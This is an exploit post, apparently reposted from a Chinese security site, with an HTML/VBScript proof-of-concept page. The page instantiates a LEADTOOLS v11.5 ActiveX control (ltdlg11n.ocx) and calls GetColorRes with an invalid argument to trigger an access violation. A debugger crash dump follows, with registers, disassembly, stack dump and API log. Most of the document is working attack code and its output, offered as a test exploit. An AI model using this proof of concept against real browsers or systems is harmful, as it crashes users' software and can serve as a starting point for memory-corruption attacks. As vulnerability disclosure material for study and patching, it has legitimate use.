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LEADTOOLS v11.5.0.9 ltdlg11n.ocx GetColorRes() Access Violation
来源:vfocus.net 作者:Bergin 发布时间:2010-11-08  

<html>
Test Exploit Page
<object classid='clsid:00110060-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' /></object>
<script language='vbscript'>
targetFile = "C:\Program Files\Rational\common\ltdlg11n.ocx"
prototype  = "Function GetColorRes ( ByVal hWnd As Long ) As Integer"
memberName = "GetColorRes"
progid     = "LEADDlgLib.LEADDlg"
argCount   = 1

arg1=-1

target.GetColorRes arg1

</script>


Exception Code: ACCESS_VIOLATION
Disasm: 7E428FB5 MOV [EAX],ECX

Seh Chain:
--------------------------------------------------
1  73352960  VBSCRIPT.dll
2  7C839AD8  KERNEL32.dll


Called From                   Returns To                   
--------------------------------------------------
USER32.7E428FB5               LTKRN11n.2000A033            


Registers:
--------------------------------------------------
EIP 7E428FB5 -> 8B044689
EAX 7713643C -> 8B044689
EBX 00000000
ECX 00000000
EDX 00000001
EDI 02AB1FE0 -> 00000000
ESI 771363F8 -> F33BF08B
EBP 0013EC60 -> 00000000
ESP 0013EC60 -> 00000000


Block Disassembly:
--------------------------------------------------
7E428FA8 PUSH EBP
7E428FA9 MOV EBP,ESP
7E428FAB MOV EAX,[EBP+8]
7E428FAE TEST EAX,EAX
7E428FB0 JE SHORT 7E428FCC
7E428FB2 MOV ECX,[EBP+C]
7E428FB5 MOV [EAX],ECX   <--- CRASH
7E428FB7 MOV ECX,[EBP+10]
7E428FBA MOV [EAX+4],ECX
7E428FBD MOV ECX,[EBP+14]
7E428FC0 MOV [EAX+8],ECX
7E428FC3 MOV ECX,[EBP+18]
7E428FC6 MOV [EAX+C],ECX
7E428FC9 XOR EAX,EAX
7E428FCB INC EAX


ArgDump:
--------------------------------------------------
EBP+8 7713643C -> 8B044689
EBP+12 00000000
EBP+16 00000000
EBP+20 00000000
EBP+24 00000000
EBP+28 02AB1FE0 -> 00000000


Stack Dump:
--------------------------------------------------
13EC60 00 00 00 00 33 A0 00 20 3C 64 13 77 00 00 00 00  [.........d.w....]
13EC70 00 00 00 00 00 00 00 00 00 00 00 00 E0 1F AB 02  [................]
13EC80 D4 EC 13 00 20 1A FF 1F F8 63 13 77 E0 1F AB 02  [.........c.w....]
13EC90 B4 ED 13 00 3A 11 BE 1F D4 EC 13 00 AC ED 13 00  [................]
13ECA0 E0 1F AB 02 58 1F AB 02 F8 1E AB 02 00 00 00 00  [....X...........]

 

ApiLog
--------------------------------------------------

***** Installing Hooks *****
7c821a94     CreateFileA(C:\WINDOWS\system32\rsaenh.dll)
7c821a94     CreateFileA(C:\WINDOWS\system32\rsaenh.dll)


 
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